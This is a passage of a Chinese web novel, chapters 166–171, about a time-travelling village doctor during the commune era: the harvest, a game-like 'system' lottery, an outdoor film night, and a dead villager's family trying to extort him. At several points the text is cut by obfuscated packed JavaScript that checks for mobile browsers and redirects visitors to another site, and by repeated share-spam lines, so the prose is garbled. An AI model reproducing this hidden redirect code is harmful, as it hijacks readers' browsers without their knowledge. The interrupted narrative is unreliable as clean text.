“咋没说过!”杨树林一拍大腿语气里满是焦急和疼惜“我跟她娘都劝过她就嫁在咱们二大队隔着几步路呢!可她就是不听还撂下狠话说我们再提这事她就一辈子不嫁了!你说说这……我跟你婶子 江沐能想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778503|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象出那个叫小巧的姑娘是如何用倔强来掩饰对家庭的守护。 他轻轻拍了拍杨树林的肩膀温声安抚:“叔你也别太着急。孩子大了有自己的想法。缘分这东西说不准哪天就到了。” 牛车到了地头两人停好车也拿起镰刀一头扎进了滚滚的麦浪里。 双抢抢收抢种是一年中最累人的时节。 烈日当空汗水浸透了衣衫顺着脸颊滴落在滚烫的土地上瞬间蒸发。 好在这几天老天爷赏脸一连都是大晴天。 社员们从天不亮一直忙到繁星满天直到晚 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 上十点多,李有柱才扯着嗓子喊下工。 江沐拉着最后一车沉甸甸的麦子回到麦场。 皎洁的月光下,麦场上堆起了一座座金色的山丘。 陈健康几位老同志累了一天,正靠在麦秸垛上打盹,头一点一点的。 江沐跳下牛车,轻手轻脚地走过去,半开玩笑地问:“陈老,今天这活儿,比起当年长征的时候,哪个更累?” 陈健康猛地睁开眼,他挺直了腰杆,神情严肃,没有丝毫玩笑的意思。 “那不一样。”他摇了摇头,声音低沉而有力,“长征,是连脚下的路都不知道在哪儿,下一步可能就是悬崖峭壁。是饿得啃树皮、嚼皮带,看着身边的战友倒下去,连块墓碑都来不及立。那种累,是身体上的,更是精神上的。现在,苦是苦,累是累,可你看这满地的麦子,心里是踏实的,有盼头的!” 老人说到动情处,仿佛又回到了那段烽火连天的岁月,眼中闪烁着泪光。 江沐肃然起敬,不再言语。 历史于他而言是书本上的文字,于他们而言,却是用双脚一步步丈量出来的,是用鲜血和生命镌刻下的记忆。 “这是最后一车了。”江沐的声音柔和了许多,“陈老,你们几位赶紧回去歇着吧,明天还有的忙呢。” 话音刚落,陈卫国和陈小华也扛着镰刀,一身疲惫地从田埂那边走了过来。 月光拉长了他们的身影,几人相视一笑,疲惫中透着满足,一同踏上了回家的路。 第167章 以后……你就是我亲哥 月色如水,洒在回家的土路上,将人的影子拉得老长。 江沐推开自家院门时,堂屋里还亮着灯。 张小月趴在桌上,脑袋一点一点的,显然已经困到了极致,可依旧强撑着没有睡去。 听到动静,她一个激灵抬起头,睡眼惺忪地揉了揉眼睛,看到是江沐,脸上立刻绽开一个柔软的笑。 “你回来啦。” 她起身,很自然地就要去厨房拎早已备好的热水,“快,烫烫脚解解乏。” 江沐心里淌过一阵暖流,快步上前从她手里接过木盆,眉头微拧:“以后别等我了,累了一天,早点上炕歇着。” “那哪儿成。”张小月帮他挽起裤腿,露出结实的小腿,声音里带着撒娇,“不挨着你,我睡不踏实。” 江沐看着她固执又依赖的眼神,心中最柔软的一块地方被轻轻戳中,无奈地笑了笑,没再多言。 温热的水漫过脚背,一天的疲惫仿佛都顺着这股暖意悄然溜走了。 接下来的七天,整个二大队都沉浸在抢收的狂热之中,人人脚下生风,镰刀挥舞得密不透风。 终于,当最后一粒麦子归仓,所有人都瘫软下来,连话都懒得说一句。 李有柱站在麦场上,用他那喊哑了的嗓子,扯着铁皮喇叭宣布:“全队社员,放假三天!都给老子回家好好歇着!” 人群爆发出劫后余生般的欢呼。 江沐也终于得了空。 夜深人静时,他闭上眼,意识沉入脑海。 【声望商城】 【当前声望值:2180】 看着这个数字,江沐心中升起踏实感。 救了李振国,又加上这些天在乡亲们面前积攒的善意,声望值涨得飞快。 抽奖吗? 他很快否定了这个想法。 先不着急,找一个良辰吉日! 第二天,大队组织社员们去交公粮,浩浩荡荡的牛车队伍准备出发。 魏长江见江沐优哉游哉地待在院子里,忍不住大声打趣。 “呦,咱们江大夫现在是离不开媳妇半步了?交公粮这么光荣的任务都不参加?” 周围的汉子们一阵哄笑,善意的调侃在空气中飘荡。 江沐也不恼,靠在门框上,懒洋洋地回了一句:“家里活儿多,走不开。” 众人见他这副模样,笑得更欢了,嘻嘻哈哈地赶着牛车走了。 江沐转身回到屋里,对正在纳鞋底的张小月开口:“小月,我寻思着,明 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 天上山去砍点竹子回来。 张小月抬起头,有些不解:“砍竹子做啥? “天越来越热了。江沐比划了一下院子的角落,“在那儿搭个棚子,用竹篾和油布围起来,做个洗澡的地方。不然老在屋里擦身子,总归是不方便。 张小月眼睛一亮,脸上泛起红晕。 这个年代,洗澡是件挺私密又挺麻烦的事,江沐这么一提,她才发觉这确实是个大问题。 他总是能想到这些细枝末节的地方。 两人正说着,院门口传来一道清脆的声音。 “小月姐!姐夫! 是李喜凤,她蹦了进来,手里还提着个小篮子。 “我妈让我来喊你们!她把篮子往桌上一放,里面是几个刚煮熟的鸡蛋,“说啥也别在家开火了,去我们家吃!我妈炖了鸡! 江沐和张小月跟着李喜凤来到李有柱家,院子里已经飘出了浓郁的肉香。 李有柱还没回来,李振国正蹲在地上,吭哧吭哧地处理着一只刚宰杀的鸡。 他额头上那道狰狞的伤口已经结痂脱落,只留下一道淡淡的粉色疤痕,在古铜色的皮肤上格外显眼。 江沐走过去,半开玩笑地拍了拍他的肩膀:“行啊振国哥,恢复得不错。你这额头上多了道印记,倒有几分二郎神的威风。 李振国被他说得有些不好意思,嘿嘿一笑,挠了挠头:“小江你就别笑话我了。 一旁的李喜龙正在劈柴,见到江沐,连忙放下斧子,局促又真诚地喊了一声:“姐夫。 他现在已经可以正式跑车,拿正式工的工资了,整个人看起来都精神了不少,“**,真的……太谢谢你了。 “自家兄弟,客气啥。江沐摆摆手,示意他不必如此。 正说着,李有柱扛着锄头,满面红光地从外面回来了,人还没进院,洪亮的嗓门就先到了。 “有好消息!晚上队里放电影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778504|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !地道战!吃完饭都去看! 晚饭很快摆上了桌。 一大盆喷香的炖鸡块放在正中央,还有几样爽口的素菜。 李有柱显得格外高兴,亲自给江沐倒了满满一碗酒。 饭吃到一半,一直有些沉默的李喜龙突然站了起来,端起酒碗,脸涨得通红。 “姐夫,这杯酒我必须敬你。他的声音因为紧张而有些发颤,“要不是你,我……我现在还在家刨地呢。这份恩情,我记一辈子! 说着,他就要一饮而尽。 “等等 听说看这本书的人都是很幸运的,分享后你的运气会更棒 。”江沐抬手按住他的碗沿,目光平静地看着他,“心意我领了。但有件事得说清楚。” 李喜龙愣住了。 江沐的语气温和:“你那份工作,是你自己的努力,我只是给了你一个机会,至于转正,是你自己的本事!” 李喜龙急忙接话:“姐夫,你帮我找工作的钱,那钱……等我发了工资,我一定还你!” “不用。”江沐打断了他,神情严肃了几分,“钱的事,姑父已经给了,再提就是看不起我江沐了。” 李喜龙嘴唇哆嗦着,眼眶瞬间就红了。 这个和他差不多大的年轻人,身上却有种让人敬佩的气度。 千言万语堵在喉咙口,最后只化作一个重重的点头。 “好!姐夫!我听你的!以后……你就是我亲哥!” 江沐笑了笑,举起了自己的酒碗。 “喝吧。” 两只粗瓷碗在空中重重一碰,发出一声脆响。 酒过三巡,李有柱家的热闹劲儿也渐渐散了。 江沐和张小月没多留,婉拒了张兰再坐会儿的热情,踏着月色往自己家走。 夜风清凉,吹散了酒意,也吹得人心里格外宁静。 回到家,张小月伺候江沐洗漱完,自己也简单擦了擦身子,一沾上炕,眼皮就沉得抬不起来了,没一会儿就传来了均匀的呼吸声。 江沐看着她恬静的睡颜,嘴角不自觉地勾了勾。 他轻手轻脚地下了炕,坐在桌边,深吸一口气,意识沉入了脑海。 【声望商城】 【当前声望值:2180】 第168章 获得稀有称号——小白脸 数字在黑暗的意识空间里散发着柔和的光芒。 江沐的心跳微微加速,是时候了。 改善生活,就从今晚开始! 抽奖的转盘浮现在眼前,分为白、蓝、金、红五个等级。 他决定先试试水。 “系统,单抽一次。 【消耗声望值100点,抽奖开始……】 指针飞速旋转,最终缓缓停在了一个蓝色区域。 【恭喜宿主获得:小人书鸡毛信一本。】 江沐的眉毛挑了挑,还行,不算太亏。 这年头精神食粮也是稀缺品,给小月解解闷不错。 他心里有了点底,决定再来几发。 “再来三次单抽。 指针三次转动,结果却让他脸一黑。 【恭喜宿主获得:用过的火柴盒一个。】 【恭喜宿主获得:缺了一角的搪瓷碗一个。】 【恭喜宿主获得:生锈的铁钉三枚。】 连续三个白色垃圾,让江沐刚刚燃起的热情瞬间被浇灭。 他算是看明白了,这单抽就是个坑,想出好东西,还得靠量变引起质变。 他的目光落在了那个金光闪闪的十连抽按钮上。 干了! “系统,给老子来一发十连抽! 【消耗声望值100点,十连抽奖开始!】 转盘上的指针仿佛化作了一道流光,下一秒,十道光柱冲天而起! 红! 第一道是刺眼的血红色! 紧接着,第二道、第三道……一直到第十道,全是那种代表着最高等级的、绚烂到极致的红色! 十连全红! 江沐的呼吸瞬间停滞了,他穿越过来这么久,还从未如此失态过。 这运气……简直是逆天了! 发了!这次真的发了! 他甚至已经开始想象,光柱散去后,会出现什么神级药品、未来科技…… 然而,就在他狂喜的顶峰,异变陡生。 眼前的系统界面突然剧烈地闪烁起来,十道红色光柱开始扭曲、变形,最后竟像被打碎的玻璃一样,化作了无数混乱的、无法识别的字符和乱码,在他眼前疯狂滚动。 【#¥%@&**#@……系统错误……滋滋……正在重启……】 江沐脸上的笑容僵住了。 一种极其不祥的预感油然而生。 几秒钟后,乱码消失,系统界面恢复。 一行系统提示 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 弹了出来。 【检测到未知系统错误,导致抽奖程序异常。为保证公平性,本次十连抽奖结果作废,已消耗的声望值已返还。】 作废? 返还? 江沐愣在原地足足三秒,他感觉自己的血压在往上飙。 “我#@%¥的系统!你玩我呢?!” 他在意识空间里疯狂咆哮,“十连全红!你知道这是什么概念吗?你跟我说作废?你是不是不想干了?信不信老子现在就找块豆腐撞死,跟你同归于尽!” 系统毫无反应,只有那行提示冷冰冰地挂着。 江沐气得浑身发抖,指着虚空又骂了足足五分钟,这才喘着粗气停了下来。 冷静,江沐,冷静。 冲动是魔鬼。 他强迫自己冷静下来,也许……也许刚才只是个意外。 没关系,声望值还在,再来一次! 我就不信这个邪! 他咬着牙,几乎是从牙缝里挤出几个字。 “再来一次十连抽!” 【十连抽奖开始!】 指针再次飞旋,江沐死死地盯着屏幕,心脏提到了嗓子眼。 光芒亮起。 一道……两道……十道…… 一片惨白。 白得晃眼,白得刺目,白得让他头晕目眩。 【恭喜宿主获得:发霉的窝窝头一个。】 【恭喜宿主获得:破了洞的草鞋一只。】 …… 【恭喜宿主获得:一小撮鸡毛。】 十连全白! 彻头彻尾的垃圾! 巨大的落差让江沐眼前一黑,差点没当场昏过去。 “你个**的系统!”江沐彻底破防了,指着那堆垃圾破口大骂,“你是不是故意跟我作对?玩不起是吧?把我的十连全红还给我!你个吃干饭不拉屎的废物!骗子!” 就在他骂得口干舌燥之时,一行新的提示突然跳了出来。 【检测到宿主情绪波动剧烈,符合隐藏条件,获得稀有称号——小白脸!】 【称号效果:魅力值微量提升,每次进行十连抽后,可额外获赠一次单抽机会。】 江沐看着那个称号,整个人都傻了。 小白脸? 这狗系统……它是在骂我吗?!—— 第二天一早,张小月醒来时,发现身边的位置是空的。 她连忙起身,只见江沐已经在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778505|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院子里忙活了,耷拉着一张脸,像谁欠他钱一样。 你的朋友正在书荒,快去帮帮他吧 “咋起这么早?”她走过去,关切地问,“是不是昨晚没睡好?脸咋这么黑?” 江沐回头看了她一眼,从牙缝里挤出几个字:“没事,睡得很好。” 他不说,张小月也就不再问,只是觉得今天的江沐浑身都散发着一股生人勿近的低气压。 她正要去烧火做饭,却**沐拦住了。 “你再回去睡会儿,我来做。” 吃过早饭,江沐扛着斧头和**就上了山。 他把昨晚受的一肚子鸟气,全都发泄在了那些青翠的竹子上,叮叮当当砍了一上午,拖回来一大捆。 下午,他就在院子角落里忙活起来。 没用多久,一个四四方方、有模有样的洗澡棚子就搭好了,再用竹篾细细地编出围挡,只等找块油布一蒙,就能用了。 就在江沐忙活的时候,大队部那边也热闹了起来。 高建设带着两个帮手,正在大队的麦场上搭架子、挂幕布。 一面巨大的白布被高高挂起,另一头,一台黑黢黢的放映机被小心翼翼地架好。 二大队要放露天电影的消息,飞速传遍了整个青莲公社。 这可是天大的稀罕事! 一时间,十里八乡的社员们都坐不住了。 临近傍晚,江沐家的院门被推开,老丈人张峰带着一家子人浩浩荡荡地来了。 “江沐!小月!”张峰的大嗓门先传了进来,“听说你们队里放电影,我们过来凑个热闹!” 天色刚擦黑,麦场上已经挤满了人,黑压压的一片,比赶集还热闹。 孩子们疯跑打闹,大人们嗑着瓜子,扯着闲篇,每个人脸上都洋溢着节日的喜悦。 随着高建设调试好机器,一道光束猛地打在白布上,人群瞬间安静下来。 “地——道——战——” 当片头三个大字出现时,整个麦场都沸腾了! 高建设这次带来的是双片连放,先是《地道战》,再是《**战》。 经典的黑白影像,激昂的配乐,把所有人都拉进了那个战火纷飞的年代。 看到鬼子被打得屁滚尿流,人群中就爆发出雷鸣般的叫好声和掌声; 看到英雄牺牲,又是一片扼腕的叹息。 氛围太好了。 直到晚上十点多,两部电影放完,白布上恢复了黑暗,社员们还坐在原地,意犹未尽,久久不愿离去。 第169章 可惜……就是结婚太早了点 电影的后劲儿极大,回到自家那一方小小的土炕上,张小月还翻来覆去地睡不着,嘴里不住地念叨。 “那帮小鬼子,真是坏到了骨子里!高家庄的乡亲们也太惨了……”她义愤填膺,攥着拳头在被窝里挥舞。 江沐侧躺着,看着月光下她气鼓鼓的脸颊,昨夜因系统而起的满腔郁火竟也消散了大半。 他伸手捏了捏她的鼻子,低声打趣。 “行了,女英雄,鬼子早就被赶跑了,赶紧睡觉,明天还得过日子呢。” “我就是气不过嘛!”张小月哼了一声,这才往他怀里缩了缩,沉沉睡去。 第二天一早,江沐推门而出,准备去院子新搭的洗澡棚那边看看,结果刚迈出门槛就差点笑出了声。 只见院墙外的大路上,村里几个半大不小的孩子正撅着屁股,热火朝天地在地上刨坑。 坑挖好了,他们也不填土,反而解开裤腰带,往里头拉屎,完事了再小心翼翼地用浮土盖上,插上一根小木棍做标记。 “干啥呢你们这帮兔崽子!”一声暴喝从村口传来,李有柱黑着一张脸,手里拎着根手臂粗的荆条棍子,气势汹汹地冲了过来。 几个孩子吓得一哆嗦,提着裤子就要跑。 “站住!谁跑我打断谁的腿!”李有柱中气十足,“好好的大路让你们刨得坑坑洼洼,还在里头拉屎!看我今天不抽死你们!” 江沐见状,连忙上前拦住了他。 “姑父,消消气,为这点小事不值当。” 李有柱正憋着一肚子火,瞪着眼珠子。 “江沐你别拦我!这帮小王八羔子,三天不打上房揭瓦!好好的路,都快被他们玩成茅坑了!” “他们这不是在玩,”江沐指了指那些杰作,一本正经地胡说八道,“他们这是在学电影里的英雄,给鬼子造**呢!” 几个孩子一听,顿时找到了主心骨,一个个挺起小胸膛,学着电影里的口气喊:“对!我们埋**,炸死他**小鬼子!” “学……学个屁!鬼子在哪呢?净瞎胡闹!” 江沐拍了拍他的肩膀,给他顺了顺气。 “孩子们有这份心是好事嘛,您这是……一大早要去哪儿?” 提到正事,李有柱的脸色才缓和下来,他把荆条往墙角一扔,拍了拍手上的土。 “去公社开会,**召集的。” 江沐给他让了道,李有柱大步流星地朝着公社的方向去了。 谁知,这会一直开到了临近中午。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 李有柱回来的时候,那张脸比早上看到孩子们挖坑时还要黑。 “**,净不干人事! 江沐正在院里劈柴,听到动静抬起头。 “怎么了姑父?开会不顺利? “顺利个屁!李有柱一屁股坐在石磨上,愤恨道,“上面又给咱们二大队分了两个知青下来!两个!说让咱们做好接收工作! 他的语气里满是烦躁。 江沐听了,心里倒不觉得意外。 他放下斧子,走到李有柱身边,给他递过去一碗晾好的凉白开,调侃道。 “这说明啥?说明周**觉得你有能力,看咱们二大队的知青一个个都踏实肯干,思想觉悟高,这是给你加担子,也是信任你嘛。 李有柱一口气喝干了碗里的水,长长地舒了一口气,脸色好看了些,但嘴里还是嘟囔。 “信任个屁,就是看老子好欺负!多两张嘴吃饭,又得多腾个屋子出来,麻烦! “兵来将挡,水来土掩。您是队长,把本职工作做好就行了,上头的安排,咱们照做就是。 江沐的话总能说到点子上,不偏不倚,让人听着心里舒坦。 李有柱的火气也泄得差不多了,他站起身,把碗还给江沐。 “行了,不跟你这小子叨叨了,回去吃饭。 “别啊,江沐拉住他,“小月饭刚做好,就在我家吃一口得了。 “不了不了,李有柱摆摆手,朝自家院子指了指,“我家那婆娘也做好饭了,闻见味儿没? 江沐也没再强留。 吃过午饭,江沐和小月睡了个午觉,醒来时已是下午两点多,屋里头跟个蒸笼似的,又闷又热。 江沐觉得有些烦躁,他琢磨着,这日子要是没个风扇可怎么过。 “小月,我上公社供销社那边转转,看有没有电风扇卖。 张小月正纳着鞋底,闻言抬起头,“嗯,行。 江沐换了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778506|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件干净的汗衫,溜达着往公社走去。路过公社那家小小的理发店时,他下意识地往里瞅了一眼。 店里空荡荡的,只有一个穿着白大褂的中年大姐在打瞌睡。 他摸了摸自己有些扎手的头发,心念一动,便抬脚走了进去。 “刘姐,忙着呢? 理发大姐被惊醒,抬眼一看是江沐,脸上立刻堆起了热情的笑容。 “哎哟,是江医生啊!可有段日子没见你了,你瞧瞧这头发长的,都能扎小辫儿了! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 江沐在她对面的椅子上坐下,笑着回应。 “这不是前阵子夏收忙嘛,脚不沾地的。今儿个刚歇下来,正好来公社有点事,就顺道过来拾掇拾掇。” 刘姐麻利地围上围布,拿起那把老式的手动推子,“还是老样子,**头?” “对,刘姐你手艺好,就按你的来。” “得嘞!” 推子在江沐头上响着,刘姐一边推,一边絮絮叨叨地聊着家长里短。 江沐有一搭没一搭地应着。 只是这老推子实在不怎么好用,时不时就会夹住一两根头发,扯得头皮生疼。 理完发,江沐对着镜子照了照,清爽利落,十分满意。 他从兜里掏出两毛钱递过去,顺口提了一句。 “刘姐你这手艺是越来越好了,就是这推子……稍微有那么点夹头发。” 刘姐接过钱,脸上笑容不减,立刻拍着胸脯保证。 “哎呀,这老家伙是不中用了,过段时间我就托人从省城带把新的回来!保证下次江医生你来,用着舒舒服服的!” 江沐笑着道了谢,转身离开了理发店。 看着他远去的背影,刘姐脸上的热情笑容慢慢淡了下来,她把那两毛钱小心翼翼地放进钱匣子,忍不住发出一声感慨。 “真是个好后生,有本事,人也和气,可惜……就是结婚太早了点。” 她自顾自地叹着气,却全然忘了,就在几个月前,江沐刚来那会儿,她对这个他可是爱答不理。 直到后来,她亲眼看见公社的周志康**对江沐客客气气的,那态度才一百八十度大转弯,变得比谁都热情。 第170章 你现在去报警,让**来查 没等江沐走出多远,理发店里的刘姐还在心里不住地盘算。 这江医生,真是越看越顺眼。 其实,她心里头藏着点小九九。 她家闺女今年都二十了,在村里绝对算得上一枝花,可眼光高得很,寻常的泥腿子根本瞧不上,把她这个当妈的给愁得不行。 前些日子,她还特意找孙阳拐弯抹角地打听过江沐,想着要是这后生还没个着落,自家闺女说不定能攀上这高枝儿。 结果孙阳一句话就浇灭了她的念想:“刘姐,您可别想了,江医生一来就带着媳妇儿呢,小两口好得跟一个人似的。 虽说这心思断了,但刘姐非但没失落,反而对江沐更添了几分敬重。 这么有本事的男人,不拈花惹草,守着自己的媳妇儿好好过日子,那才是真真正正的好男人! 江沐对此浑然不觉,他溜达到公社供销社,里头人不多,售货员正靠着柜台打哈欠。 “同志,问一下,有电风扇吗? 售货员抬了抬眼皮,懒洋洋地指了指角落里蒙着一层薄灰的几台风扇。 “那儿呢,一百块一台,还要一张工业票。 一百块!这价钱让江沐都忍不住咂了咂舌。 这风扇,抵得上一个人的全年收入了。 但他没有丝毫犹豫,从兜里掏出早就准备好的钱和票递了过去。 付了钱,他又在食品柜台前停下,买了几包市面上少见的鸡蛋糕和几颗水果糖,这才心满意足地抱着大纸箱子往家走。 刚进院门,就听到屋里传来张小月和李喜凤的说笑声。 “……小月姐,你这手艺真是绝了,这鞋垫纳得又密实又好看! “你喜欢就拿去,我这还有两双呢! 江沐抱着箱子走进去,屋里的笑声戛然而止。 李喜凤一双眼睛直勾勾地盯着他怀里的大家伙,震惊得话都说不利索了。 “姐夫,你……你这是从哪儿弄来的宝贝? “供销社买的。江沐把箱子放在地上,轻描淡写地回应。 “买的?李喜凤倒吸一口凉气,“天爷啊,这得多少钱啊!我听说这叫……电风扇?城里的大领导家里才有呢! 张小月也惊得站了起来,围着箱子转了两圈,惊喜不已,“江沐,这东西得多少钱啊! “钱花了还能再挣,人热坏了可划不来。江沐三下五除二拆开包装,把那台崭新的墨绿色风扇搬了出来,插上电。 随着开关按 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 下,扇叶开始转动,一股凉爽的风瞬间吹满了整个闷热的土屋。 李喜凤和张小月舒服得眯起了眼睛。 江沐笑了笑,把买的鸡蛋糕和水果糖塞到张小月手里。 “拿着吃,别省着。 安顿好家里,他转身就去了隔壁的卫生室。 夏日的白昼格外漫长,等到江沐把最后一味药材分拣入柜,天色已经完全黑透了。 他伸了个懒腰,正准备回家吃饭,院门被人猛地撞开。 村里的刘海波连滚带爬地冲了进来。 “江……江医生!快!快去看看我爸!他……他不行了! 江沐心里一沉,抓起挂在墙上的药箱,沉声问:“怎么回事?慢慢说! “我爸……我爸正吃着饭,喝了口酒,人……人就栽到桌子底下去了!怎么喊都没反应! 江沐的脸色瞬间凝重起来,来不及多问,跟着刘海波一路狂奔到他家。 屋里挤满了人,刘海波的母亲和媳妇哭天抢地,他弟弟刘海洋则呆呆地跪在地上。 一个五十多岁的男人,正是刘丰收,面色青紫地躺在地上,已经没了呼吸。 江沐拨开人群,蹲下身,三根手指迅速搭在了刘丰收的颈动脉上,随即又探了探他的脉搏。 脉象细若游丝,几乎摸不到了。 他站起身,表情前所未有的严肃,“情况非常严重,是脑溢血。我只能尽力,但不一定能救得回来,你们要有心理准备。 “脑……脑溢血是啥?刘海波六神无主,抓住江沐的胳膊,“江医生,你别管是啥病,你快救救我爸!求求你了! “抬到卫生室去!快!江沐没有时间解释,厉声指挥着。 众人七手八脚地将刘丰收抬到卫生室的病床上。 江沐打开药箱,一排锃亮的银针在灯下闪着寒光。 他屏息凝神,找准穴位,捻转,提插,手法快如闪电。 刘海波在门口急得团团转,不时探头进来问:“江医生,咋样了?我爸……我爸他有救吗? 江沐头也不抬,额上渗出细密的汗珠,声音沉稳却不带任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778507|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感情。 “我说过了,不一定。 时间一分一秒地过去,屋里静得只剩下江沐沉重的呼吸声。 大约二十分钟后,他缓缓收回了最后一根银针,站直了身体,幽幽地叹了口气。 他走出诊室,看着门口一脸期盼的刘家兄弟,摇了摇头。 “尽力了,准备后事吧。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一瞬间,刘海波软软地靠在了门框上。 而他弟弟刘海洋,那张呆滞的脸猛地扭曲起来,一双眼睛瞬间变得血红,指着江沐发出一声吼叫。 “是你!是你把我爸治**!你这个**凶手!你得给我爸赔命!” 话音未落,他便朝江沐扑了过来! 江沐眼神一寒,不闪不避,反手就是一记响亮的耳光! 刘海洋被打得一个趔趄,半边脸瞬间肿了起来。 “我早就说过,人,不一定救得回来。”江沐的声音冰冷,“你爹送来的时候就已经只剩一口气了!现在想讹到我的头上?行啊,你现在去报警,让**来查!” “我打死你!”刘海洋被一巴掌打蒙了,反应过来后更是怒火攻心,红着眼又要冲上来,还冲着他哥喊,“哥!他打我!他治**咱爸还**!咱俩一起上,弄死他!” 此时,院子里已经围了不少闻讯赶来的乡亲,有人已经跑着去喊李有柱了。 江沐根本没看刘海洋,他的目光直直地射向瘫坐在地的刘海波。 刘海波被他看得一个激灵,从地上爬了起来,眼神躲闪,但嘴里却含糊不清地嘟囔着:“我……我弟说的也没错……人毕竟是在你这儿没的……江医生,你看……你总得给个说法,赔点钱吧……” 他话还没说完,人群里就炸了锅。 “我呸!刘海波,你还要不要脸了?”一个大娘掐着腰骂开了,“刚才江医生怎么说的?是不是说不一定能救活,让你们有准备?咱们大伙儿可都听见了!” “就是!”另一个汉子也帮腔,“人家江医生好心好意给你爹治病,没收你们一分钱!救不过来,你们反倒讹上人家了?天底下哪有这样的道理!” 乡亲们的唾沫星子几乎要把刘家兄弟淹没。 他们怎么也没想到,全村人竟然都一边倒地向着这个外来的知青! 第171章 我这个医生,还敢给谁看病 刘海波兄弟俩被众人围在中间。 就在这时,一道凄厉的哭嚎撕裂了夜空。 刘丰收的老婆,从屋里冲了出来,跪倒在自家老头子的尸身旁。 她不看尸体,一双浑浊的三角眼死死锁住江沐,嘶哑地尖叫:“我的天爷啊!没天理了啊!我家老头子好端端的人,就是吃了顿饭,到了你这儿不到半个钟头就没气了!你凭啥说你没责任?你还我男人!你还我男人啊! 这番颠倒黑白的指控,把周围的乡亲都给气乐了。 江沐也被这无耻的一家人气得胸口发闷。 他深吸一口气,压下心头的火气。 跟这帮滚刀肉动怒,不值当。 他抬起手,往下压了压,清冷的声音不大,却清晰地传进每个人的耳朵里。 “乡亲们,大家先别激动。 随即,他的目光转向那撒泼的妇人,眼神冰冷。 “今天,在场的所有人都是我的证人。人,是你们求我救的。救之前,丑话我说在了前头,救不回来,各安天命。现在你们想耍无赖,可以。 他环视着刘家三人。 “你们尽管闹。我江沐要是怕了你们,名字就倒过来写。我倒要看看,是你们的无赖硬,还是我的法子多! 这番话带着寒意,让原本还想冲上来撕扯的刘海洋瞬间怂了,下意识地躲到了自家老娘的身后。 那刘丰收的老婆见儿子退缩,更是来劲了,一骨碌从地上爬起来,指着江沐的鼻子破口大骂:“小畜生!你还敢动我儿子一下试试!我告诉你,今天你要是不给个说法,我老婆子就一头撞死在你家这门槛上!我看你这卫生室还开得下去不! “请便。江沐连眼皮都没抬一下,“别在这儿倚老卖老。我这人,最不吃的就是这一套。 “你……刘丰收的婆娘被噎得一口气差点没上来,见威胁不成,干脆心一横,往地上一躺,开始手脚并用地打滚,嘴里哭天抢地,唱念做打样样俱全。 “哎哟我的命苦啊!杀千刀的庸医害**啦!害了命还欺负我们孤儿寡母啊!大家快来看啊,这知青要逼**啦! 一哭二闹三上吊,这套路,江沐前世在医院里见得多了。 刘海波见状,知道火候差不多了,立刻挤出一副悲痛又无奈的表情,对着江沐通情达理地开了口:“江医生,你看……我娘也是伤心过度。这样吧,我们也不让你赔命,毕竟乡里乡亲的。你……你赔我们五十块钱!这事就算了了,我爹的死,我们也不追究 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 了!” 